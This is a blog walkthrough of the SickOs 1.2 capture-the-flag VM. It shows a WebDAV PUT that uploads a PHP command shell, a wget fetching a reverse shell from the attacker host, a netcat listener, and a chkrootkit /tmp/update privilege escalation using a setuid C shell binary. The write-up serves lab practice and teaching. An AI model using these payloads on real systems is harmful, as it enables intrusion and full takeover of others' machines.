Fully Sick(Os) 1.2 mate
It’s been a while since I have looked at any boot2root challenges, so let’s have a crack at SickOs: 1.2 by @D4rk36
“This is second in following series from SickOs and is independent of the prior releases, scope of challenge is to gain highest privileges on the system.”
Bit of a side note before we start. The description mentions “Need to use VMware. You may have issue with VirtualBox.”. If you wish to use virtualbox, as I did, all you need to do is edit the .ovf file and replace all instances of “ElementName” with “Caption” and replace “vmware.sata.ahci” with “AHCI”. Then simply delete the .mf file and import the ovf into virtualbox as you would normally.
Ok.. enough chatter.. let’s get started! First up, what IP are we attacking:
1 2 3 4 5 |
root@omerta:~# arp -a ? <redacted> ? <redacted> ? (192.168.77.50) at 08:00:27:6e:6a:df [ether] on vboxnet0 ? <redacted> |
Let’s find our starting point…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
root@omerta:~# nmap -n -Pn -A -p- 192.168.77.50 Starting Nmap 7.12 ( https://nmap.org ) at 2016-04-29 17:05 AEST Nmap scan report for 192.168.77.50 Host is up (0.00035s latency). Not shown: 65533 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 66:8c:c0:f2:85:7c:6c:c0:f6:ab:7d:48:04:81:c2:d4 (DSA) | 2048 ba:86:f5:ee:cc:83:df:a6:3f:fd:c1:34:bb:7e:62:ab (RSA) |_ 256 a1:6c:fa:18:da:57:1d:33:2c:52:e4:ec:97:e2:9e:af (ECDSA) 80/tcp open http lighttpd 1.4.28 |_http-server-header: lighttpd/1.4.28 |_http-title: Site doesn't have a title (text/html). MAC Address: 08:00:27:6E:6A:DF (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.10 - 4.1, Linux 3.16 - 3.19, Linux 3.2 - 4.4 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.35 ms 192.168.77.50 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 112.98 seconds |
Let’s take a look at the web server in our browser.
Now let’s take a look with curl.
1 2 3 4 5 6 7 8 9 10 |
root@omerta:~# curl 192.168.77.50 <html> <img src="blow.jpg"> </html> # whitespace redacted # <!-- NOTHING IN HERE ///\\\ -->>>> |
As the comment says, there’s nothing there, so we’ll fuzz for directories.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
root@omerta:~# gobuster-git -w /usr/share/wordlists/seclists/Discovery/Web_Content/common.txt -u 192.168.77.50 ===================================================== Gobuster v1.0 (DIR support by OJ Reeves @TheColonial) (DNS support by Peleus @0x42424242) ===================================================== [+] Mode : dir [+] Url/Domain : http://192.168.77.50/ [+] Threads : 10 [+] Wordlist : /usr/share/wordlists/seclists/Discovery/Web_Content/common.txt [+] Status codes : 204,301,302,307,200 ===================================================== /index.php (Status: 200) /test (Status: 301) ===================================================== |
Taking a look at the /test/ reveals that directory listing is enabled for this server.
What options are available to us?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
root@omerta:~# curl -vX OPTIONS 192.168.77.50/test/ * Trying 192.168.77.50... * Connected to 192.168.77.50 (192.168.77.50) port 80 (#0) > OPTIONS /test/ HTTP/1.1 > Host: 192.168.77.50 > User-Agent: curl/7.47.0 > Accept: */* > < HTTP/1.1 200 OK < DAV: 1,2 < MS-Author-Via: DAV < Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK < Allow: OPTIONS, GET, HEAD, POST < Content-Length: 0 < Date: Fri, 29 Apr 2016 21:45:28 GMT < Server: lighttpd/1.4.28 < * Connection #0 to host 192.168.77.50 left intact |
Nothing exciting on the root directory, but /test looks a little more promising with DAV and the use of dangerous options. Let’s try and upload a simple shell to test connectivity.
1 |
root@omerta:~# curl -X PUT -d '<?php system($_GET["cmd"]);' http://192.168.77.50/test/phpsimpleshell.php |
Success. I tried running netcat and a bash reverse shell from this simple cmd shell, however I wasn’t having any luck getting a connection.
Time to upload a bigger PHP shell. At first it failed with port 80, so I set the listening port to 443.
1 2 |
root@omerta:~/offsec/scripts/php-reverse-shell-1.0# python -m SimpleHTTPServer 443Serving HTTP on 0.0.0.0 port 443 ... 192.168.77.50 - - [01/May/2016 14:44:24] "GET /phprevshell.php HTTP/1.1" 200 - |
Success.
http://192.168.77.50/test/phpsimpleshell.php?cmd=wget%20192.168.77.43:443/phprevshell.php
Now it is just a simple case of setting up a listener and kicking off our shell.
1 2 3 4 5 6 7 8 9 |
root@omerta:~# nc -nvlp 443 listening on [any] 443 ... connect to [192.168.77.43] from (UNKNOWN) [192.168.77.50] 41704 Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux 21:51:07 up 3 min, 0 users, load average: 0.12, 0.24, 0.12 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ python -c 'import pty; pty.spawn("/bin/sh")' |
Enter stage left laziness. I check for any low hanging fruit with Security Sift’s linuxprivchecker script.
Unfortunately linuxprivchecker didn’t lead me to any vulnerabilities or exploits, so I started the manual enumeration of the system. Time passed, more time passed, and a little more time passed. Nothing, nada, nicht.
I take another look at the linuxprivchecker output, and focus in on root’s cronjobs.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
[+] Scheduled cron jobs -rw-r--r-- 1 root root 722 Jun 19 2012 /etc/crontab /etc/cron.daily: total 72 drwxr-xr-x 2 root root 4096 Apr 12 09:18 . drwxr-xr-x 84 root root 4096 May 1 2016 .. -rw-r--r-- 1 root root 102 Jun 19 2012 .placeholder -rwxr-xr-x 1 root root 15399 Nov 15 2013 apt -rwxr-xr-x 1 root root 314 Apr 18 2013 aptitude -rwxr-xr-x 1 root root 502 Mar 31 2012 bsdmainutils -rwxr-xr-x 1 root root 2032 Jun 4 2014 chkrootkit -rwxr-xr-x 1 root root 256 Oct 14 2013 dpkg -rwxr-xr-x 1 root root 338 Dec 20 2011 lighttpd -rwxr-xr-x 1 root root 372 Oct 4 2011 logrotate -rwxr-xr-x 1 root root 1365 Dec 28 2012 man-db -rwxr-xr-x 1 root root 606 Aug 17 2011 mlocate -rwxr-xr-x 1 root root 249 Sep 12 2012 passwd -rwxr-xr-x 1 root root 2417 Jul 1 2011 popularity-contest -rwxr-xr-x 1 root root 2947 Jun 19 2012 standard |
All of the services/binaries look fine to me, apart from chkrootkit
.
1 2 3 |
$ chkrootkit -V chkrootkit -V chkrootkit version 0.49 |
Bingo! This version of chkrootkit has a local root vulnerability which can be found here.
As per the authors findings, the steps to reproduce are:
"- Put an executable file named 'update' with non-root owner in /tmp (not mounted noexec, obviously)
- Run chkrootkit (as uid 0)
Result: The file /tmp/update will be executed as root, thus effectively rooting your box, if malicious content is placed inside the file.
If an attacker knows you are periodically running chkrootkit (like in cron.daily) and has write access to /tmp (not mounted noexec), he may easily take advantage of this."
Too easy. I’ll use my faithful suid binary for this one.
1 2 3 4 5 |
root@omerta:~/offsec/scripts# cat privesc.c int main(void) { setgid(0); setuid(0); system("/bin/sh"); } |
All we need to do is compile it in /tmp
, setup an 'update'
script to chmod/chown the suid binary, and voila… we should have root.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
$ wget 192.168.77.43:443/privesc.c wget 192.168.77.43:443/privesc.c --2016-04-30 22:29:30-- http://192.168.77.43:443/privesc.c Connecting to 192.168.77.43:443... connected. HTTP request sent, awaiting response... 200 OK Length: 70 [text/plain] Saving to: `privesc.c' 100%[======================================>] 70 --.-K/s in 0s 2016-04-30 22:29:30 (3.92 MB/s) - `privesc.c' saved [70/70] $ gcc privesc.c -o privesc gcc privesc.c -o privesc $ wget 192.168.77.43:443/privescscript ; mv /tmp/privescscript /tmp/update wget 192.168.77.43:443/privescscript ; mv /tmp/privescscript /tmp/update --2016-04-30 22:32:21-- http://192.168.77.43:443/privescscript Connecting to 192.168.77.43:443... connected. HTTP request sent, awaiting response... 200 OK Length: 65 [application/octet-stream] Saving to: `privescscript' 100%[======================================>] 65 --.-K/s in 0s 2016-04-30 22:32:21 (13.4 MB/s) - `privescscript' saved [65/65] $ ls -al ls -al total 52 drwxrwxrwt 2 root root 4096 Apr 30 22:32 . drwxr-xr-x 22 root root 4096 Mar 30 04:57 .. -rw-rw-rw- 1 www-data www-data 25304 Mar 28 21:05 linuxprivchecker.py srwxr-xr-x 1 www-data www-data 0 May 1 2016 php.socket-0 -rwxrwxrwx 1 www-data www-data 7239 Apr 30 22:29 privesc -rw-rw-rw- 1 www-data www-data 70 Apr 30 22:28 privesc.c -rw-rw-rw- 1 www-data www-data 65 Apr 30 22:31 update |
Now… we sit patiently and wait for the chkrootkit crontab to execute. After a little time, we have our suid binary ready to rock and roll.
1 2 3 4 5 6 7 8 |
$ ls -al total 24 drwxrwxrwt 2 root root 4096 May 1 18:22 . drwxr-xr-x 22 root root 4096 Mar 30 04:57 .. srwxr-xr-x 1 www-data www-data 0 May 1 09:11 php.socket-0 -rwsrwxrwx 1 root root 7239 Apr 30 23:14 privesc -rw-rw-rw- 1 www-data www-data 70 Apr 30 22:28 privesc.c -rwxrwxrwx 1 www-data www-data 56 May 1 18:22 update |
Let’s get root!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
$ ./privesc hostname;id ubuntu uid=0(root) gid=0(root) groups=0(root),33(www-data) python -c 'import pty; pty.spawn("/bin/sh")' # cd /root # ls -al ls -al total 76 drwx------ 4 root root 4096 Apr 26 03:58 . drwxr-xr-x 22 root root 4096 Mar 30 04:57 .. -rw------- 1 root root 3066 Apr 26 04:01 .bash_history -rw-r--r-- 1 root root 3106 Apr 19 2012 .bashrc drwx------ 2 root root 4096 Apr 12 08:37 .cache -rw-r--r-- 1 root root 140 Apr 19 2012 .profile -rw-r--r-- 1 root root 39421 Apr 9 2015 304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz -r-------- 1 root root 491 Apr 26 03:58 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt drwxr-xr-x 2 john john 4096 Apr 12 08:42 chkrootkit-0.49 -rw-r--r-- 1 root root 541 Apr 25 22:48 newRule |
And let’s grab the flag!
1 2 3 4 5 6 7 |
# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually. Thanks for giving this try. @vulnhub: Thanks for hosting this UP!. |
THE END
Thanks for the SickOS 1.2 boot2root challenge @D4rk36.
Thank you like always @Vulnhub and @g0tmi1k for hosting such awesome challenges.
Until next time, tight lines and happy hacking.